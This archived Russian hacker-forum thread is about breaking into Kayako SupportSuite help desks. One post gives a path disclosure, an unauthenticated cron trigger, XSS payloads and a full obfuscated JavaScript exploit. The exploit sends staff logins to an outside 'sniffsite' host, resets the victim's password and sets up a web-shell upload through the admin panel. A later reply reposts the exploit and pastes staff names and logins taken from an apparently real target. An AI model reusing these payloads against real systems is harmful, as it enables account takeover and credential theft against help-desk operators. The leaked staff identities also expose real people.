Просмотр полной версии : kayako
rubik-nerubik
23.08.2009, 20:52
http://www.xakep.ru/post/42000/default.asp
может кто обосновать это? нормальным языком
к примеру. плиз
five5feer
23.08.2009, 21:13
а что тут обосновывать? уязвимость в коёке...
rubik-nerubik
23.08.2009, 21:45
как её реализовать, можете в виде example.com привести, тут ни переменных ничего толкового
просто посмотреть данные о сервере , почти как phpinfo
rubik-nerubik
23.08.2009, 22:00
мега галимо, а незнаете ещё багов на этот двиг?
тож интересно, кайоко когда-то обращались, по двигу не смог ничего сделать, но был инклуд в соседнем домене :-D
так что там с софтом?
ну так поможет кто или нет? с каких пор античат помойкой стал?????? спросил человек в болталке...
rubik-nerubik
23.08.2009, 23:04
спросил человек в болталке...
ну так что мешает скинуть в ПМ?
[Product]
######################################
Kayako SupportSuite version 3.60.04
[Url]
######################################
http://www.kayako.com/solutions/supportsuite/
[Path Disclosure]
######################################
http://supportsite/rss/index.php?_m=tickets&_a=view&group=default
Fatal error: view action is not registered in \includes\functions.php on line 754
P.S. Только если не давится вывод ошибок
[Cron]
######################################
Неавторизованный запуск задач внутреннего крона данного продукта
<form action="http://supportsite/cron/index.php" method="post">
<input value="d" name="_t">
<input type="submit">
</form>
Пример: tickets
При ссылке в action: http://supportsite/cron/index.php?debug=1
Получаем:
======== cron_autoclose.php ========
1: Autoclose system is enabled, starting up...
2: List of autoclose statuses:
3: List of departments monitored by autoclose system:
4: Auto close target status: NNN
5: ======== end cron_autoclose.php ========
Как использовать не придумал.
[Xss]
######################################
1. Против обычного пользователя:
Не фильтруется название темы [пример темы: <script>alert('xss')</script>] в тикете, и при обращении по ссылке [Post Reply][http://supportsite/index.php?_m=tickets&_a=postreply&ticketid=NNN] отрабатывает XSS
2. Против стаффа/админа - возможность оставить ссылку в теле тикета:
<a href="http://evilsite/evipage.html">Link text</a>
где возможно размещение iframe с кодом
http://supportsite/staff/index.php?_m=tickets&_a=reports&type=department&datefrom=0"><script>alert('xss')</script><t
[Xss exploit]
######################################
Не фильтруются XSS вида <scr<img>ipt>alert('xss')</scr<img>ipt>
Тоже xss, позволяет пользователю отправить тикет со скриптом внутри, который выполнит любой сценарий с правами залогиненного администратора или стаффа
Также при любом типе стаффа можно узнать все логины, имеющиеся в системе, используя информацию со страницы с отправкой приватных сообщений.
Ну и используя вышеперечисленное, написал сплоит, который берет все логины из системы, снифит их на внешний сервер, и меняет пароль того, под кем был просмотрен тикет
В том случае, если пользователь имеет права администратора (можно определить по значениям id в cookie), то возможно влить шелл через изменение темплейтов в админке.
<scr<img>ipt>window.onload=init; function init() {document.body.innerHTML +=('<in<img>put id="change" value="0" type="hidden">');document.body.innerHTML += ('<ifr<img>ame id="loginframe" name="loginframe" style="display:none;" src="http://supportsite/staff/index.php?_m=core&_a=composeprvmsg" onload="login();"></ifr<img>ame>');}function login() {if (document.getElementById('change').value==0) {var opt = window.frames['loginframe'].document.forms['swiftform'].elements['staffid[]'].innerHTML;opt = opt.split('OPTION').join('');opt = opt.split('<').join('');opt = opt.split('>').join('');opt = opt.split('"').join('');opt = opt.split('=').join('');opt = opt.split('selected').join('');opt = opt.split('value').join('');opt = opt.split('option').join('');opt = "http://sniffsite/snif/s.gif?users=" + escape(opt); document.body.innerHTML += ('<im<img>g name=imname src="'+opt+'" width="0" height="0" border="0">'); document.imname.src = opt+"&"+Math.random(); document.getElementById('change').value = 1;init2(); }}; function init2() {document.body.innerHTML +=('<in<img>put id="change2" value="0" type="hidden">');document.body.innerHTML += ('<ifr<img>ame id="passframe" name="passframe" style="display:none;" src="http://supportsite/staff/index.php?_m=core&_a=changepassword" onload="pass();"></ifr<img>ame>');}function pass() {if (document.getElementById('change2').value==0) {window.frames['passframe'].document.forms['staffform'].elements['password'].value = 'newpass';window.frames['passframe'].document.forms['staffform'].elements['passwordconfirm'].value = 'newpass';window.frames['passframe'].document.forms['staffform'].submit();document.getElementById('change2').value = 1;}}</sc<img>ript>
######################################
kindunkind
11.02.2012, 14:58
ipt>window.onload=init; function init() {document.body.innerHTML +=('put id="change" value="0" type="hidden">');document.body.innerHTML += ('ame id="loginframe" name="loginframe" style="display:none;" src="http://supportsite/staff/index.php?_m=core&_a=composeprvmsg" onload="login();">ame>');}function login() {if (document.getElementById('change').value==0) {var opt = window.frames['loginframe'].document.forms['swiftform'].elements['staffid[]'].innerHTML;opt = opt.split('OPTION').join('');opt = opt.split('').join('');opt = opt.split('"').join('');opt = opt.split('=').join('');opt = opt.split('selected').join('');opt = opt.split('value').join('');opt = opt.split('option').join('');opt = "http://sniffsite/snif/s.gif?users=" + escape(opt); document.body.innerHTML += ('g name=imname src="'+opt+'" width="0" height="0" border="0">'); document.imname.src = opt+"&"+Math.random(); document.getElementById('change').value = 1;init2(); }}; function init2() {document.body.innerHTML +=('put id="change2" value="0" type="hidden">');document.body.innerHTML += ('ame id="passframe" name="passframe" style="display:none;" src="http://supportsite/staff/index.php?_m=core&_a=changepassword" onload="pass();">ame>');}function pass() {if (document.getElementById('change2').value==0) {window.frames['passframe'].document.forms['staffform'].elements['password'].value = 'newpass';window.frames['passframe'].document.forms['staffform'].elements['passwordconfirm'].value = 'newpass';window.frames['passframe'].document.forms['staffform'].submit();document.getElementById('change2').value = 1;}}ript>
Экспойт сработал , пришло сообщение такого вида:
%u0415%u0432%u0433%u0435%u043D%u0438%u044F %u041C% u0430%u043B%u043E%u0432%u0430 (jenny) %u0415%u0432%u0433%u0435%u043D%u0438%u044F %u041C% u044B%u0440%u0437%u0430%u043B%u0438%u0435%u0432%u0 430 (evm) %u041C%u0430%u043A%u0441%u0438%u043C %u0413%u0430% u0448%u043A%u043E%u0432 (max) %u0420%u0443%u0441%u043B%u0430%u043D %u041C%u0430% u0440%u044D (ruslan) %u0421%u0435%u0440%u0433%u0435%u0439 %u0412%u0435% u0440%u043D%u0438%u0433%u043E%u0440%u0430 (sergey) %u0421%u0435%u0440%u0433%u0435%u0439 %u041D%u0438% u043A%u0438%u0442%u0435%u043D%u043A%u043E%u0432 (n ikitenkov)
Судя по всему просмотрен тикет был юзером ruslan , на какой новый пароль должен был смениться? Судя по коду "newpass" ? но он не подходит .
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot